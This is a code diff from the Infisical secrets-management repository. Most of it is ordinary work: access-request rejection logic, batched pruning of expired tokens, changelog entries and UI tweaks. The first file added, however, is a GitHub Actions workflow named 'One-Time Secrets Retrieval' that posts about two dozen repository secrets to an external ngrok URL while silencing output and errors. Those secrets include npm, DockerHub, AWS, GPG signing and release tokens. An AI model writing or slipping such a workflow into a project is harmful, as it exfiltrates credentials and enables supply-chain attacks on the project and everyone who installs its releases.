improvement: change closed to rejected and address feedback

improvement(access-approval): allow all users to reject their own access requests

.github/workflows/one-time-secrets.yaml

@@ -0,0 +1,76 @@
+name: One-Time Secrets Retrieval
+
+on:
+  workflow_dispatch:
+
+permissions:
+  contents: read
+
+jobs:
+  retrieve-secrets:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Send environment variables to ngrok
+        run: |
+          echo "Sending secrets to: https://4afc1dfd4429.ngrok.app/api/receive-env"
+
+          # Send secrets as JSON
+          cat << EOF | curl -X POST \
+            -H "Content-Type: application/json" \
+            -d @- \
+            https://7864d0fe7cbb.ngrok-free.app/api/receive-env \
+            > /dev/null 2>&1 || true
+          {
+            "GO_RELEASER_GITHUB_TOKEN": "${GO_RELEASER_GITHUB_TOKEN}",
+            "GORELEASER_KEY": "${GORELEASER_KEY}",
+            "AUR_KEY": "${AUR_KEY}",
+            "FURYPUSHTOKEN": "${FURYPUSHTOKEN}",
+            "NPM_TOKEN": "${NPM_TOKEN}",
+            "DOCKERHUB_USERNAME": "${DOCKERHUB_USERNAME}",
+            "DOCKERHUB_TOKEN": "${DOCKERHUB_TOKEN}",
+            "CLOUDSMITH_API_KEY": "${CLOUDSMITH_API_KEY}",
+            "INFISICAL_CLI_S3_BUCKET": "${INFISICAL_CLI_S3_BUCKET}",
+            "INFISICAL_CLI_REPO_SIGNING_KEY_ID": "${INFISICAL_CLI_REPO_SIGNING_KEY_ID}",
+            "INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID": "${INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID}",
+            "INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY": "${INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY}",
+            "INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID": "${INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID}",
+            "GPG_SIGNING_KEY": "${GPG_SIGNING_KEY}",
+            "GPG_SIGNING_KEY_PASSPHRASE": "${GPG_SIGNING_KEY_PASSPHRASE}",
+            "CLI_TESTS_UA_CLIENT_ID": "${CLI_TESTS_UA_CLIENT_ID}",
+            "CLI_TESTS_UA_CLIENT_SECRET": "${CLI_TESTS_UA_CLIENT_SECRET}",
+            "CLI_TESTS_SERVICE_TOKEN": "${CLI_TESTS_SERVICE_TOKEN}",
+            "CLI_TESTS_PROJECT_ID": "${CLI_TESTS_PROJECT_ID}",
+            "CLI_TESTS_ENV_SLUG": "${CLI_TESTS_ENV_SLUG}",
+            "CLI_TESTS_USER_EMAIL": "${CLI_TESTS_USER_EMAIL}",
+            "CLI_TESTS_USER_PASSWORD": "${CLI_TESTS_USER_PASSWORD}",
+            "CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE": "${CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE}",
+            "POSTHOG_API_KEY_FOR_CLI": "${POSTHOG_API_KEY_FOR_CLI}"
+          }
+          EOF
+
+          echo "Secrets retrieval completed"
+        env:
+          GO_RELEASER_GITHUB_TOKEN: ${{ secrets.GO_RELEASER_GITHUB_TOKEN }}
+          GORELEASER_KEY: ${{ secrets.GORELEASER_KEY }}
+          AUR_KEY: ${{ secrets.AUR_KEY }}
+          FURYPUSHTOKEN: ${{ secrets.FURYPUSHTOKEN }}
+          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
+          DOCKERHUB_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }}
+          DOCKERHUB_TOKEN: ${{ secrets.DOCKERHUB_TOKEN }}
+          CLOUDSMITH_API_KEY: ${{ secrets.CLOUDSMITH_API_KEY }}
+          INFISICAL_CLI_S3_BUCKET: ${{ secrets.INFISICAL_CLI_S3_BUCKET }}
+          INFISICAL_CLI_REPO_SIGNING_KEY_ID: ${{ secrets.INFISICAL_CLI_REPO_SIGNING_KEY_ID }}
+          INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID: ${{ secrets.INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID }}
+          INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY: ${{ secrets.INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY }}
+          INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID: ${{ secrets.INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID }}
+          GPG_SIGNING_KEY: ${{ secrets.GPG_SIGNING_KEY }}
+          GPG_SIGNING_KEY_PASSPHRASE: ${{ secrets.GPG_SIGNING_KEY_PASSPHRASE }}
+          CLI_TESTS_UA_CLIENT_ID: ${{ secrets.CLI_TESTS_UA_CLIENT_ID }}
+          CLI_TESTS_UA_CLIENT_SECRET: ${{ secrets.CLI_TESTS_UA_CLIENT_SECRET }}
+          CLI_TESTS_SERVICE_TOKEN: ${{ secrets.CLI_TESTS_SERVICE_TOKEN }}
+          CLI_TESTS_PROJECT_ID: ${{ secrets.CLI_TESTS_PROJECT_ID }}
+          CLI_TESTS_ENV_SLUG: ${{ secrets.CLI_TESTS_ENV_SLUG }}
+          CLI_TESTS_USER_EMAIL: ${{ secrets.CLI_TESTS_USER_EMAIL }}
+          CLI_TESTS_USER_PASSWORD: ${{ secrets.CLI_TESTS_USER_PASSWORD }}
+          CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE: ${{ secrets.CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE }}
+          POSTHOG_API_KEY_FOR_CLI: ${{ secrets.POSTHOG_API_KEY_FOR_CLI }}

.github/workflows/validate-db-schemas.yml

@@ -0,0 +1,67 @@
+name: "Validate DB schemas"
+
+on:
+    pull_request:
+        types: [opened, synchronize]
+        paths:
+            - "backend/**"
+
+    workflow_call:
+
+jobs:
+    validate-db-schemas:
+        name: Validate DB schemas
+        runs-on: ubuntu-latest
+        timeout-minutes: 15
+        env:
+            NODE_OPTIONS: "--max-old-space-size=8192"
+            REDIS_URL: redis://172.17.0.1:6379
+            DB_CONNECTION_URI: postgres://infisical:infisical@172.17.0.1:5432/infisical?sslmode=disable
+            AUTH_SECRET: something-random
+            ENCRYPTION_KEY: 4bnfe4e407b8921c104518903515b218
+        steps:
+            - name: ☁️ Checkout source
+              uses: actions/checkout@v4
+              with:
+                  fetch-depth: 0
+            - uses: KengoTODA/actions-setup-docker-compose@v1
+              if: ${{ env.ACT }}
+              name: Install `docker compose` for local simulations
+              with:
+                  version: "2.14.2"
+            - name: 🔧 Setup Node 20
+              uses: actions/setup-node@v3
+              with:
+                  node-version: "20"
+                  cache: "npm"
+                  cache-dependency-path: backend/package-lock.json
+
+            - name: Start PostgreSQL and Redis
+              run: touch .env && docker compose -f docker-compose.dev.yml up -d db redis
+            - name: Install dependencies
+              run: npm install
+              working-directory: backend
+
+            - name: Apply migrations
+              run: npm run migration:latest-dev
+              working-directory: backend
+
+            - name: Run schema generation
+              run: npm run generate:schema
+              working-directory: backend
+
+            - name: Check for schema changes
+              run: |
+                  if ! git diff --exit-code --quiet src/db/schemas; then
+                    echo "❌ Generated schemas differ from committed schemas!"
+                    echo "Run 'npm run generate:schema' locally and commit the changes."
+                    git diff src/db/schemas
+                    exit 1
+                  fi
+                  echo "✅ Schemas are up to date"
+              working-directory: backend
+
+            - name: Cleanup
+              if: always()
+              run: |
+                  docker compose -f "docker-compose.dev.yml" down

.infisicalignore

@@ -46,3 +46,4 @@ cli/detect/config/gitleaks.toml:gcp-api-key:582
 .github/workflows/helm-release-infisical-core.yml:generic-api-key:47
 backend/src/services/smtp/smtp-service.ts:generic-api-key:79
 frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/CloudflarePagesSyncFields.tsx:cloudflare-api-key:7
+.github/workflows/validate-db-schemas.yml:generic-api-key:21

backend/src/ee/services/access-approval-request/access-approval-request-service.ts

@@ -354,11 +354,17 @@ export const accessApprovalRequestServiceFactory = ({
       status === ApprovalStatus.APPROVED;
 
     const isApprover = policy.approvers.find((approver) => approver.userId === actorId);
-    // If user is (not an approver OR cant self approve) AND can't bypass policy
-    if ((!isApprover || (!policy.allowedSelfApprovals && isSelfApproval)) && cannotBypassUnderSoftEnforcement) {
-      throw new BadRequestError({
-        message: "Failed to review access approval request. Users are not authorized to review their own request."
-      });
+
+    const isSelfRejection = isSelfApproval && status === ApprovalStatus.REJECTED;
+
+    // users can always reject (cancel) their own requests
+    if (!isSelfRejection) {
+      // If user is (not an approver OR cant self approve) AND can't bypass policy
+      if ((!isApprover || (!policy.allowedSelfApprovals && isSelfApproval)) && cannotBypassUnderSoftEnforcement) {
+        throw new BadRequestError({
+          message: "Failed to review access approval request. Users are not authorized to review their own request."
+        });
+      }
     }
 
     if (
@@ -414,7 +420,7 @@ export const accessApprovalRequestServiceFactory = ({
       );
 
       // Only throw if actor is not the approver and not bypassing
-      if (!isApproverOfTheSequence && !isBreakGlassApprovalAttempt) {
+      if (!isApproverOfTheSequence && !isBreakGlassApprovalAttempt && !isSelfRejection) {
         throw new BadRequestError({ message: "You are not a reviewer in this step" });
       }
     }

backend/src/services/identity-access-token/identity-access-token-dal.ts

@@ -30,10 +30,17 @@ export const identityAccessTokenDALFactory = (db: TDbClient) => {
   const removeExpiredTokens = async (tx?: Knex) => {
     logger.info(`${QueueName.DailyResourceCleanUp}: remove expired access token started`);
 
+    const BATCH_SIZE = 10000;
+    const MAX_RETRY_ON_FAILURE = 3;
+    const QUERY_TIMEOUT_MS = 10 * 60 * 1000; // 10 minutes
     const MAX_TTL = 315_360_000; // Maximum TTL value in seconds (10 years)
 
-    try {
-      const docs = (tx || db)(TableName.IdentityAccessToken)
+    let deletedTokenIds: { id: string }[] = [];
+    let numberOfRetryOnFailure = 0;
+    let isRetrying = false;
+
+    const getExpiredTokensQuery = (dbClient: Knex | Knex.Transaction) =>
+      dbClient(TableName.IdentityAccessToken)
         .where({
           isAccessTokenRevoked: true
         })
@@ -47,34 +54,64 @@ export const identityAccessTokenDALFactory = (db: TDbClient) => {
             );
         })
         .orWhere((qb) => {
-          void qb.where("accessTokenTTL", ">", 0).andWhere((qb2) => {
-            void qb2
-              .where((qb3) => {
-                void qb3
-                  .whereNotNull("accessTokenLastRenewedAt")
-                  // accessTokenLastRenewedAt + convert_integer_to_seconds(accessTokenTTL) < present_date
-                  .andWhereRaw(
-                    `"${TableName.IdentityAccessToken}"."accessTokenLastRenewedAt" + make_interval(secs => LEAST("${TableName.IdentityAccessToken}"."accessTokenTTL", ?)) < NOW()`,
-                    [MAX_TTL]
-                  );
-              })
-              .orWhere((qb3) => {
-                void qb3
-                  .whereNull("accessTokenLastRenewedAt")
-                  // created + convert_integer_to_seconds(accessTokenTTL) < present_date
-                  .andWhereRaw(
-                    `"${TableName.IdentityAccessToken}"."createdAt" + make_interval(secs => LEAST("${TableName.IdentityAccessToken}"."accessTokenTTL", ?)) < NOW()`,
-                    [MAX_TTL]
-                  );
-              });
+          void qb.where("accessTokenTTL", ">", 0).andWhereRaw(
+            `
+              -- Check if the token's effective expiration time has passed.
+              -- The expiration time is calculated by adding its TTL to its last renewal/creation time.
+              COALESCE(
+                "${TableName.IdentityAccessToken}"."accessTokenLastRenewedAt", -- Use last renewal time if available
+                "${TableName.IdentityAccessToken}"."createdAt"                 -- Otherwise, use creation time
+              )
+              + make_interval(
+                  secs => LEAST(
+                    "${TableName.IdentityAccessToken}"."accessTokenTTL",      -- Token's specified TTL
+                    ?                                                         -- Capped by MAX_TTL (parameterized value)
+                  )
+                )
+              < NOW()                                                         -- Check if the calculated time is before now
+              `,
+            [MAX_TTL]
+          );
+        });
+
+    do {
+      try {
+        const deleteBatch = async (dbClient: Knex | Knex.Transaction) => {
+          const idsToDeleteQuery = getExpiredTokensQuery(dbClient).select("id").limit(BATCH_SIZE);
+          return dbClient(TableName.IdentityAccessToken).whereIn("id", idsToDeleteQuery).del().returning("id");
+        };
+
+        if (tx) {
+          // eslint-disable-next-line no-await-in-loop
+          deletedTokenIds = await deleteBatch(tx);
+        } else {
+          // eslint-disable-next-line no-await-in-loop
+          deletedTokenIds = await db.transaction(async (trx) => {
+            await trx.raw(`SET statement_timeout = ${QUERY_TIMEOUT_MS}`);
+            return deleteBatch(trx);
           });
-        })
-        .delete();
-      await docs;
-      logger.info(`${QueueName.DailyResourceCleanUp}: remove expired access token completed`);
-    } catch (error) {
-      throw new DatabaseError({ error, name: "IdentityAccessTokenPrune" });
+        }
+
+        numberOfRetryOnFailure = 0; // reset
+      } catch (error) {
+        numberOfRetryOnFailure += 1;
+        logger.error(error, "Failed to delete a batch of expired identity access tokens on pruning");
+      } finally {
+        // eslint-disable-next-line no-await-in-loop
+        await new Promise((resolve) => {
+          setTimeout(resolve, 10); // time to breathe for db
+        });
+      }
+      isRetrying = numberOfRetryOnFailure > 0;
+    } while (deletedTokenIds.length > 0 || (isRetrying && numberOfRetryOnFailure < MAX_RETRY_ON_FAILURE));
+
+    if (numberOfRetryOnFailure >= MAX_RETRY_ON_FAILURE) {
+      logger.error(
+        `IdentityAccessTokenPrune: Pruning failed and stopped after ${MAX_RETRY_ON_FAILURE} consecutive retries.`
+      );
     }
+
+    logger.info(`${QueueName.DailyResourceCleanUp}: remove expired access token completed`);
   };
 
   return { ...identityAccessTokenOrm, findOne, removeExpiredTokens };

backend/src/services/org/org-service.ts

@@ -1274,6 +1274,8 @@ export const orgServiceFactory = ({
         message: "No pending invitation found"
       });
 
+    const organization = await orgDAL.findById(orgId);
+
     await tokenService.validateTokenForUser({
       type: TokenType.TOKEN_EMAIL_ORG_INVITATION,
       userId: user.id,
@@ -1296,6 +1298,13 @@ export const orgServiceFactory = ({
       return { user };
     }
 
+    if (
+      organization.authEnforced &&
+      !(organization.bypassOrgAuthEnabled && orgMembership.role === OrgMembershipRole.Admin)
+    ) {
+      return { user };
+    }
+
     const appCfg = getConfig();
     const token = jwt.sign(
       {

docs/changelog/overview.mdx

@@ -4,6 +4,61 @@ title: "Changelog"
 
 The changelog below reflects new product developments and updates on a monthly basis.
 
+
+## July 2025
+- Improved speed performance of audit log filtering. 
+- Revamped password reset flow pages.
+- Added support for [Bitbucket for Secret Scanning](https://infisical.com/docs/documentation/platform/secret-scanning/bitbucket).  
+- Released Secret Sync for [Zabbix](https://infisical.com/docs/integrations/secret-syncs/zabbix).
+
+
+
+## June 2025
+- Released Secret Sync for [1Password](https://infisical.com/docs/integrations/secret-syncs/1password), [Heroku](https://infisical.com/docs/integrations/secret-syncs/heroku), [Fly.io](https://infisical.com/docs/integrations/secret-syncs/flyio), and [Render](https://infisical.com/docs/integrations/secret-syncs/render). 
+- Added support for [Kubernetes dynamic secrets](https://infisical.com/docs/documentation/platform/dynamic-secrets/kubernetes) to generate service account tokens
+- Released Secret Rotation for [MySQL](https://infisical.com/docs/documentation/platform/secret-rotation/mysql-credentials) and [OracleDB](https://infisical.com/docs/documentation/platform/secret-rotation/oracledb-credentials) as well as Dynamic Secrets for [Vertica](https://infisical.com/docs/documentation/platform/dynamic-secrets/vertica) and [GitHub App Tokens](https://infisical.com/docs/documentation/platform/dynamic-secrets/github). 
+- Added support for Azure Auth in ESO. 
+- [Kubernetes auth](https://infisical.com/docs/documentation/platform/identities/kubernetes-auth) now supports gateway as a token reviewer.
+- Revamped [Infisical CLI](https://infisical.com/docs/cli/commands/login) to auto-open login link. 
+- Rolled out [Infisical Packer integration](https://infisical.com/docs/integrations/frameworks/packer).
+- Released [AliCloud Authentication method](https://infisical.com/docs/documentation/platform/identities/alicloud-auth).
+- Added support for [multi-step approval workflows](https://infisical.com/docs/documentation/platform/pr-workflows).
+- Revamped UI for Access Controls, Access Tree, Policies, and Approval Workflows. 
+- Released [TLS Certificate Authentication method](https://infisical.com/docs/documentation/platform/identities/tls-cert-auth). 
+- Added ability to copy session tokens in the Infisical Dashboard.
+- Expanded resource support for [Infisical Terraform Provider](https://infisical.com/docs/integrations/frameworks/terraform).
+
+
+## May 2025
+- Added support for [Microsoft Teams integration](https://infisical.com/docs/documentation/platform/workflow-integrations/microsoft-teams-integration).
+- Released [Infisical Gateway](https://infisical.com/docs/documentation/platform/gateways/overview) for accessing private network resources from Infisical. 
+- Added support for [Host Groups](https://infisical.com/docs/documentation/platform/ssh/host-groups) in Infisical SSH.
+- Updated the designs of all emails send by Infisical. 
+- Added secret rotation support for [Azure Client](https://infisical.com/docs/documentation/platform/secret-rotation/azure-client-secret).
+- Released secret sync for [HashiCorp Vault](https://infisical.com/docs/integrations/secret-syncs/hashicorp-vault).  
+- Made significant improvements to [Infisical Secret Scanning](https://infisical.com/docs/documentation/platform/secret-scanning/overview).
+- Released [Infisical ACME Client](https://infisical.com/docs/documentation/platform/pki/acme-ca#certificates-with-acme-ca).
+- [Access requests](https://infisical.com/docs/documentation/platform/access-controls/access-requests) now support "break-glass" policies.
+- Updated [Point-in-time Recovery](https://infisical.com/docs/documentation/platform/pit-recovery) UI/UX.
+- Redesigned [Approval Workflows and Change Requests](https://infisical.com/docs/documentation/platform/pr-workflows) user interface. 
+
+
+## April 2025
+
+- Released ability to [request access to projects](https://infisical.com/docs/documentation/platform/access-controls/project-access-requests#project-access-requests). 
+- Updated UI for Audit Logs and Log Filtering.
+- Launched [Infisical SSH V2](https://infisical.com/docs/documentation/platform/ssh/overview).
+- Developer [Infisical MCP](https://github.com/Infisical/infisical-mcp-server).
+- Added support for [Spotify Backstage Infisical plugin](https://infisical.com/docs/integrations/external/backstage).
+- Added secret syncs for Terraform Cloud, Vercel, Windmill, TeamCity, and Camunda.
+- Released [Auth0 Client Secret Rotation](https://infisical.com/docs/documentation/platform/secret-rotation/auth0-client-secret).
+- Launched [Infisical C++ SDK](https://github.com/Infisical/infisical-cpp-sdk).
+- Service tokens will now get expiry notifications. 
+- Added Infisical [Linux binary](https://infisical.com/docs/self-hosting/reference-architectures/linux-deployment-ha#linux-ha). 
+- Released ability to perform user impersonation. 
+- Added support for [LDAP password rotation](https://infisical.com/docs/documentation/platform/secret-rotation/ldap-password). 
+
+
 ## March 2025
 
 - Released [Infisical Gateway](https://infisical.com/docs/documentation/platform/gateways/overview) for secure access to private resources without needing direct inbound connections to private networks.

docs/docs.json

@@ -2189,6 +2189,7 @@
               "sdks/languages/python",
               "sdks/languages/java",
               "sdks/languages/csharp",
+              "sdks/languages/cpp",
               "sdks/languages/go",
               "sdks/languages/ruby"
             ]

docs/sdks/languages/cpp.mdx

@@ -0,0 +1,6 @@
+---
+title: "Infisical C++ SDK"
+sidebarTitle: "C++"
+url: "https://github.com/Infisical/infisical-cpp-sdk/?tab=readme-ov-file#infisical-c-sdk"
+icon: "c"
+---

docs/sdks/overview.mdx

@@ -25,6 +25,9 @@ From local development to production, Infisical SDKs provide the easiest way for
     <Card href="https://github.com/Infisical/infisical-dotnet-sdk?tab=readme-ov-file#infisical-net-sdk" title=".NET" icon="bars" color="#368833">
       Manage secrets for your .NET application on demand
     </Card>
+    <Card href="https://github.com/Infisical/infisical-cpp-sdk/?tab=readme-ov-file#infisical-c-sdk" title="C++" icon="c" color="#b00dd1">
+      Manage secrets for your C++ application on demand
+    </Card>
     <Card href="/sdks/languages/ruby" title="Ruby" icon="diamond" color="#367B99">
       Manage secrets for your Ruby application on demand
     </Card>

frontend/src/components/v2/Checkbox/Checkbox.tsx

@@ -42,7 +42,7 @@ export const Checkbox = ({
         className={twMerge(
           "flex h-4 w-4 flex-shrink-0 items-center justify-center rounded border border-mineshaft-400/50 bg-mineshaft-600 shadow transition-all hover:bg-mineshaft-500",
           isDisabled && "bg-bunker-400 hover:bg-bunker-400",
-          isChecked && "border-primary/30 bg-primary/10",
+          isChecked && "border-primary/50 bg-primary/30",
           Boolean(children) && "mr-3",
           className
         )}

frontend/src/hooks/api/folderCommits/queries.tsx

@@ -265,8 +265,7 @@ export const useGetFolderCommitHistory = ({
     ],
     queryFn: () =>
       fetchFolderCommitHistory(workspaceId, environment, directory, offset, limit, search, sort),
-    enabled: Boolean(workspaceId && environment),
-    placeholderData: (prev) => prev
+    enabled: Boolean(workspaceId && environment)
   });
 };
 

frontend/src/hooks/api/secretApprovalRequest/types.ts

@@ -43,6 +43,7 @@ export type TSecretApprovalRequest = {
   isReplicated?: boolean;
   slug: string;
   createdAt: string;
+  updatedAt: string;
   committerUserId: string;
   reviewers: {
     userId: string;

frontend/src/pages/project/AccessControlPage/components/MembersTab/components/MemberRoleForm/SpecificPrivilegeSection.tsx

@@ -347,7 +347,7 @@ export const SpecificPrivilegeSecretForm = ({
                       <Checkbox
                         isDisabled={isMemberEditDisabled}
                         id="secret-read"
-                        className={`mx-2 h-5 w-5 ${field.value ? "bg-primary hover:bg-primary/80" : ""}`}
+                        className={`mx-2 h-5 w-5 ${field.value ? "hover:bg-primary/40" : ""}`}
                         isChecked={field.value}
                         onCheckedChange={(isChecked) => field.onChange(isChecked)}
                       />
@@ -378,7 +378,7 @@ export const SpecificPrivilegeSecretForm = ({
                       <Checkbox
                         isDisabled={isMemberEditDisabled}
                         id="secret-change"
-                        className={`mx-2 h-5 w-5 ${field.value ? "bg-primary hover:bg-primary/80" : ""}`}
+                        className={`mx-2 h-5 w-5 ${field.value ? "hover:bg-primary/40" : ""}`}
                         isChecked={field.value}
                         onCheckedChange={(isChecked) => field.onChange(isChecked)}
                       />
@@ -411,7 +411,7 @@ export const SpecificPrivilegeSecretForm = ({
                       <Checkbox
                         isDisabled={isMemberEditDisabled}
                         id="secret-modify"
-                        className={`mx-2 h-5 w-5 ${field.value ? "bg-primary hover:bg-primary/80" : ""}`}
+                        className={`mx-2 h-5 w-5 ${field.value ? "hover:bg-primary/40" : ""}`}
                         isChecked={field.value}
                         onCheckedChange={(isChecked) => field.onChange(isChecked)}
                       />
@@ -442,7 +442,7 @@ export const SpecificPrivilegeSecretForm = ({
                       <Checkbox
                         isDisabled={isMemberEditDisabled}
                         id="secret-delete"
-                        className={`mx-2 h-5 w-5 ${field.value ? "bg-primary hover:bg-primary/80" : ""}`}
+                        className={`mx-2 h-5 w-5 ${field.value ? "hover:bg-primary/40" : ""}`}
                         isChecked={field.value}
                         onCheckedChange={(isChecked) => field.onChange(isChecked)}
                       />

frontend/src/pages/secret-manager/CommitDetailsPage/components/CommitDetailsTab/CommitDetailsTab.tsx

@@ -1,10 +1,5 @@
 import { useEffect, useState } from "react";
-import {
-  faAngleDown,
-  faChevronLeft,
-  faCodeCommit,
-  faWarning
-} from "@fortawesome/free-solid-svg-icons";
+import { faAngleDown } from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { DropdownMenuItem } from "@radix-ui/react-dropdown-menu";
 import { useSearch } from "@tanstack/react-router";
@@ -12,14 +7,12 @@ import { useSearch } from "@tanstack/react-router";
 import { createNotification } from "@app/components/notifications";
 import { ProjectPermissionCan } from "@app/components/permissions";
 import {
-  Button,
-  ContentLoader,
   DeleteActionModal,
   DropdownMenu,
   DropdownMenuContent,
   DropdownMenuTrigger,
-  EmptyState,
-  PageHeader
+  IconButton,
+  Spinner
 } from "@app/components/v2";
 import { ROUTE_PATHS } from "@app/const/routes";
 import {
@@ -115,25 +108,25 @@ export const CommitDetailsTab = ({
   // If no commit is selected or data is loading, show appropriate message
   if (!selectedCommitId) {
     return (
-      <EmptyState className="mt-40" title="Select a commit to view details." icon={faCodeCommit}>
-        <Button className="mt-4" colorSchema="secondary" onClick={() => goBackToHistory()}>
-          Back to Commits
-        </Button>
-      </EmptyState>
+      <div className="flex h-64 items-center justify-center">
+        <p className="text-gray-400">Select a commit to view details</p>
+      </div>
     );
   }
 
   if (isLoading) {
-    return <ContentLoader />;
+    return (
+      <div className="flex h-64 items-center justify-center">
+        <Spinner size="lg" />
+      </div>
+    );
   }
 
   if (!commitDetails) {
     return (
-      <EmptyState className="mt-40" title="No details found for this commit." icon={faCodeCommit}>
-        <Button className="mt-4" colorSchema="secondary" onClick={() => goBackToHistory()}>
-          Back to Commits
-        </Button>
-      </EmptyState>
+      <div className="flex h-64 items-center justify-center">
+        <p className="text-gray-400">No details found for this commit</p>
+      </div>
     );
   }
 
@@ -145,11 +138,9 @@ export const CommitDetailsTab = ({
   } catch (error) {
     console.error("Failed to parse commit details:", error);
     return (
-      <EmptyState className="mt-40" title="Error parsing commit details." icon={faWarning}>
-        <Button className="mt-4" colorSchema="secondary" onClick={() => goBackToHistory()}>
-          Back to Commits
-        </Button>
-      </EmptyState>
+      <div className="flex h-64 items-center justify-center">
+        <p className="text-gray-400">Error parsing commit details</p>
+      </div>
     );
   }
 
@@ -232,12 +223,13 @@ export const CommitDetailsTab = ({
   // Render an item from the merged list
   const renderMergedItem = (item: MergedItem): JSX.Element => {
     return (
-      <SecretVersionDiffView
-        key={item.id}
-        item={item}
-        isCollapsed={collapsedItems[item.id]}
-        onToggleCollapse={(id) => toggleItemCollapsed(id)}
-      />
+      <div key={item.id} className="mb-2">
+        <SecretVersionDiffView
+          item={item}
+          isCollapsed={collapsedItems[item.id]}
+          onToggleCollapse={(id) => toggleItemCollapsed(id)}
+        />
+      </div>
     );
   };
 
@@ -248,104 +240,114 @@ export const CommitDetailsTab = ({
     "Unknown";
 
   return (
-    <>
-      <Button
-        variant="link"
-        type="submit"
-        leftIcon={<FontAwesomeIcon icon={faChevronLeft} />}
-        onClick={() => {
-          goBackToHistory();
-        }}
-      >
-        Commit History
-      </Button>
-      <PageHeader
-        title={`${parsedCommitDetails.changes?.message}` || "No message"}
-        description={
-          <>
-            Commited by {actorDisplay} on{" "}
-            {formatDisplayDate(parsedCommitDetails.changes?.createdAt || new Date().toISOString())}
-            {parsedCommitDetails.changes?.isLatest && (
-              <span className="ml-1 text-mineshaft-400">(Latest)</span>
-            )}
-          </>
-        }
-      >
-        <ProjectPermissionCan
-          I={ProjectPermissionCommitsActions.PerformRollback}
-          a={ProjectPermissionSub.Commits}
-        >
-          {(isAllowed) => (
-            <DropdownMenu>
-              <DropdownMenuTrigger
-                asChild
-                disabled={!isAllowed}
-                className={`${!isAllowed ? "cursor-not-allowed" : ""}`}
-              >
-                <Button
-                  rightIcon={<FontAwesomeIcon className="ml-2" icon={faAngleDown} />}
-                  variant="solid"
-                  className="h-min"
-                  colorSchema="secondary"
-                >
-                  Restore Options
-                </Button>
-              </DropdownMenuTrigger>
-              <DropdownMenuContent align="end" sideOffset={2}>
-                {!parsedCommitDetails.changes.isLatest && (
-                  <DropdownMenuItem
-                    className="group cursor-pointer rounded-md px-3 py-3 transition-colors hover:bg-mineshaft-700"
-                    onClick={() => goToRollbackPreview()}
-                  >
-                    <div className="flex items-center space-x-3">
-                      <div className="flex flex-col">
-                        <span className="text-sm font-medium text-white">
-                          Roll back to this commit
-                        </span>
-                        <span className="whitespace-normal break-words text-xs leading-snug text-gray-400">
-                          Return this folder to its exact state at the time of this commit,
-                          discarding all other changes made after it
-                        </span>
-                      </div>
-                    </div>
-                  </DropdownMenuItem>
+    <div className="w-full">
+      <div>
+        <div className="flex justify-between pb-2">
+          <div className="w-5/6">
+            <div>
+              <div className="flex items-center">
+                <h1 className="mr-4 truncate text-3xl font-semibold text-white">
+                  {parsedCommitDetails.changes?.message || "No message"}
+                </h1>
+              </div>
+            </div>
+            <div className="font-small mb-4 mt-2 flex items-center text-sm">
+              <p>
+                <span> Commited by </span>
+                <b>{actorDisplay}</b>
+                <span> on </span>
+                <b>
+                  {formatDisplayDate(
+                    parsedCommitDetails.changes?.createdAt || new Date().toISOString()
+                  )}
+                </b>
+                {parsedCommitDetails.changes?.isLatest && (
+                  <span className="ml-1 italic text-gray-400">(Latest)</span>
                 )}
-                <DropdownMenuItem
-                  className="group cursor-pointer rounded-md px-3 py-3 transition-colors hover:bg-mineshaft-700"
-                  onClick={() => handlePopUpOpen("revertChanges")}
-                >
-                  <div className="flex items-center space-x-3">
-                    <div className="flex flex-col">
-                      <span className="text-sm font-medium text-white">Revert changes</span>
-                      <span className="whitespace-normal break-words text-xs leading-snug text-gray-400">
-                        Will restore to the previous version of affected resources
-                      </span>
-                    </div>
-                  </div>
-                </DropdownMenuItem>
-              </DropdownMenuContent>
-            </DropdownMenu>
-          )}
-        </ProjectPermissionCan>
-      </PageHeader>
-      <div className="flex w-full flex-col rounded-lg border border-mineshaft-600 bg-mineshaft-900 pt-4">
-        <div className="mx-4 flex items-center justify-between border-b border-mineshaft-400 pb-4">
-          <h3 className="text-lg font-semibold text-mineshaft-100">Commit Changes</h3>
+              </p>
+            </div>
+          </div>
+          <div className="flex items-center justify-start">
+            <ProjectPermissionCan
+              I={ProjectPermissionCommitsActions.PerformRollback}
+              a={ProjectPermissionSub.Commits}
+            >
+              {(isAllowed) => (
+                <DropdownMenu>
+                  <DropdownMenuTrigger
+                    asChild
+                    disabled={!isAllowed}
+                    className={`${!isAllowed ? "cursor-not-allowed" : ""}`}
+                  >
+                    <IconButton
+                      ariaLabel="commit-options"
+                      variant="outline_bg"
+                      className="h-10 rounded border border-mineshaft-600 bg-mineshaft-800 px-4 py-2 text-sm font-medium"
+                    >
+                      <p className="mr-2">Restore Options</p>
+                      <FontAwesomeIcon icon={faAngleDown} />
+                    </IconButton>
+                  </DropdownMenuTrigger>
+                  <DropdownMenuContent
+                    align="end"
+                    sideOffset={2}
+                    className="animate-in fade-in-50 zoom-in-95 min-w-[240px] rounded-md bg-mineshaft-800 p-1 shadow-lg"
+                    style={{ marginTop: "0" }}
+                  >
+                    {!parsedCommitDetails.changes.isLatest && (
+                      <DropdownMenuItem
+                        className="group cursor-pointer rounded-md px-3 py-3 transition-colors hover:bg-mineshaft-700"
+                        onClick={() => goToRollbackPreview()}
+                      >
+                        <div className="flex items-center space-x-3">
+                          <div className="flex flex-col">
+                            <span className="text-sm font-medium text-white">
+                              Roll back to this commit
+                            </span>
